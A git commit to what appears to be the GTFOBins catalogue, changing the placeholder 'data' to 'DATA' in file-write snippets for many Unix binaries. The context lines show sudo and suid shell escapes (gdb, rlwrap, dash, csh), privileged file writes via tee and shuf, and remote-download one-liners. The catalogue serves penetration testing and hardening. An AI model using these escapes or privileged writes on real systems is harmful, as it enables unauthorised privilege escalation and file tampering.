Use DATA as a placeholder for file-write operations

This commit is contained in:
Andrea Cardaci 2018-08-20 14:35:43 +02:00
parent 866ca2e404
commit d4b50275bb
29 changed files with 36 additions and 36 deletions

View File

@ -75,11 +75,11 @@ load-library:
file-read:
label: File read
description: |
It reads files and may be used to do privileged reads or disclose files
outside a restricted file system.
It reads data from files, it may be used to do privileged reads or disclose
files outside a restricted file system.
file-write:
label: File write
description: |
It writes files and may be used to do privileged writes or write files
outside a restricted file system.
It writes data to files, it may be used to do privileged writes or write
files outside a restricted file system.

View File

@ -5,7 +5,7 @@ functions:
file-write:
- code: |
export LFILE=file_to_write
ash -c 'echo data > $LFILE'
ash -c 'echo DATA > $LFILE'
suid-enabled:
- code: "./ash"
sudo-enabled:

View File

@ -22,7 +22,7 @@ functions:
file-write:
- code: |
LFILE=file_to_write
awk -v LFILE=$LFILE 'BEGIN { print "data" > LFILE }'
awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
file-read:
- code: |
LFILE=file_to_read

View File

@ -39,7 +39,7 @@ functions:
file-write:
- code: |
export LFILE=file_to_write
bash -c 'echo data > $LFILE'
bash -c 'echo DATA > $LFILE'
file-read:
- description: It trims trailing newlines and it's not binary-safe.
code: |

View File

@ -12,7 +12,7 @@ functions:
file-write:
- code: |
LFILE=file_to_write
busybox sh -c 'echo "data" > $LFILE'
busybox sh -c 'echo "DATA" > $LFILE'
file-read:
- code: |
LFILE=file_to_read

View File

@ -5,7 +5,7 @@ functions:
file-write:
- code: |
export LFILE=file_to_write
ash -c 'echo data > $LFILE'
ash -c 'echo DATA > $LFILE'
suid-enabled:
- code: "./csh -b"
sudo-enabled:

View File

@ -5,7 +5,7 @@ functions:
file-write:
- code: |
export LFILE=file_to_write
ash -c 'echo data > $LFILE'
ash -c 'echo DATA > $LFILE'
suid-enabled:
- code: ./dash -p
sudo-enabled:

View File

@ -3,7 +3,7 @@ functions:
file-write:
- code: |
LFILE=file_to_write
echo "data" | dd of=$LFILE
echo "DATA" | dd of=$LFILE
file-read:
- code: |
LFILE=file_to_read

View File

@ -8,7 +8,7 @@ functions:
- code: |
ed file_to_write
a
data
DATA
.
w
q

View File

@ -5,7 +5,7 @@ functions:
file-write:
- code: |
emacs file_to_write
data
DATA
C-x C-s
file-read:
- code: emacs file_to_read

View File

@ -11,7 +11,7 @@ functions:
file-write:
- code: |
LFILE=file_to_write
gdb -nx -ex "dump value $LFILE \"data\"" -ex quit
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
sudo-enabled:
- code: sudo gdb -nx -ex '!sh' -ex quit
---

View File

@ -39,7 +39,7 @@ functions:
file-write:
- code: |
export LFILE=file_to_write
ksh -c 'echo data > $LFILE'
ksh -c 'echo DATA > $LFILE'
file-read:
- description: It trims trailing newlines.
code: |

View File

@ -56,7 +56,7 @@ functions:
f:write(d);
io.close(f);'
file-write:
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);'
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
file-read:
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
sudo-enabled:

View File

@ -9,7 +9,7 @@ functions:
- description: Requires a newer GNU `make` version.
code: |
LFILE=file_to_write
make -s --eval="\$(file >$LFILE,data)" .
make -s --eval="\$(file >$LFILE,DATA)" .
suid-enabled:
- code: |
COMMAND='/bin/sh -p'

View File

@ -12,7 +12,7 @@ functions:
file-write:
- code: |
nano file_to_write
data
DATA
^O
file-read:
- code: nano file_to_read

View File

@ -12,7 +12,7 @@ functions:
file-write:
- code: |
pico file_to_write
data
DATA
^O
file-read:
- code: pico file_to_read

View File

@ -9,7 +9,7 @@ functions:
- description: The file path must be absolute.
code: |
export LFILE="/tmp/file_to_write"
puppet apply -e "file { '$LFILE': content => 'data' }"
puppet apply -e "file { '$LFILE': content => 'DATA' }"
file-read:
- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
code: |

View File

@ -25,7 +25,7 @@ functions:
export LFILE=file_to_save
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
file-write:
- code: python2 -c 'open("file_to_write","w+").write("data")'
- code: python2 -c 'open("file_to_write","w+").write("DATA")'
file-read:
- code: python2 -c 'open("file_to_read").read()'
load-library:

View File

@ -25,7 +25,7 @@ functions:
export LFILE=file_to_save
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
file-write:
- code: python3 -c 'open("file_to_write","w+").write("data")'
- code: python3 -c 'open("file_to_write","w+").write("DATA")'
file-read:
- code: python3 -c 'open("file_to_read").read()'
load-library:

View File

@ -6,7 +6,7 @@ functions:
- description: This adds timestamps to the output file. This relies on the external `echo` command.
code: |
LFILE=file_to_write
rlwrap -l "$LFILE" echo data
rlwrap -l "$LFILE" echo DATA
suid-enabled:
- code: ./rlwrap -H /dev/null /bin/sh -p
sudo-enabled:

View File

@ -22,7 +22,7 @@ functions:
export LFILE=file_to_save
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
file-write:
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("data") }'
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
file-read:
- code: ruby -e 'puts File.read("file_to_read")'
load-library:

View File

@ -9,7 +9,7 @@ functions:
file-write:
- code: |
LFILE=file_to_write
sed -n "1s/.*/data/w $LFILE" /etc/hosts
sed -n "1s/.*/DATA/w $LFILE" /etc/hosts
file-read:
- code: |
LFILE=file_to_read

View File

@ -4,14 +4,14 @@ functions:
file-write:
- code: |
LFILE=file_to_write
shuf -e data -o "$LFILE"
shuf -e DATA -o "$LFILE"
suid-enabled:
- description:
code: |
LFILE=file_to_write
./shuf -e data -o "$LFILE"
./shuf -e DATA -o "$LFILE"
sudo-enabled:
- code: |
LFILE=file_to_write
sudo shuf -e data -o "$LFILE"
sudo shuf -e DATA -o "$LFILE"
---

View File

@ -5,7 +5,7 @@ functions:
file-write:
- code: |
LFILE=file_to_write
sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
file-read:
- code: |
LFILE=file_to_read

View File

@ -10,7 +10,7 @@ functions:
code: |
LFILE=file_to_write
TF=$(mktemp)
echo data > "$TF"
echo DATA > "$TF"
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
file-read:
- description: This only works for GNU tar.

View File

@ -4,13 +4,13 @@ functions:
file-write:
- code: |
LFILE=file_to_write
echo data | ./tee -a "$LFILE"
echo DATA | ./tee -a "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_write
echo data | ./tee -a "$LFILE"
echo DATA | ./tee -a "$LFILE"
sudo-enabled:
- code: |
LFILE=file_to_write
echo data | sudo tee -a "$LFILE"
echo DATA | sudo tee -a "$LFILE"
---

View File

@ -9,7 +9,7 @@ functions:
file-write:
- code: |
vi file_to_write
idata
iDATA
^[
w
file-read:

View File

@ -9,7 +9,7 @@ functions:
file-write:
- code: |
vim file_to_write
idata
iDATA
^[
w
file-read:

View File

@ -3,7 +3,7 @@ functions:
file-write:
- code: |
LFILE=file_to_write
echo data | xxd | xxd -r - "$LFILE"
echo DATA | xxd | xxd -r - "$LFILE"
file-read:
- code: |
LFILE=file_to_read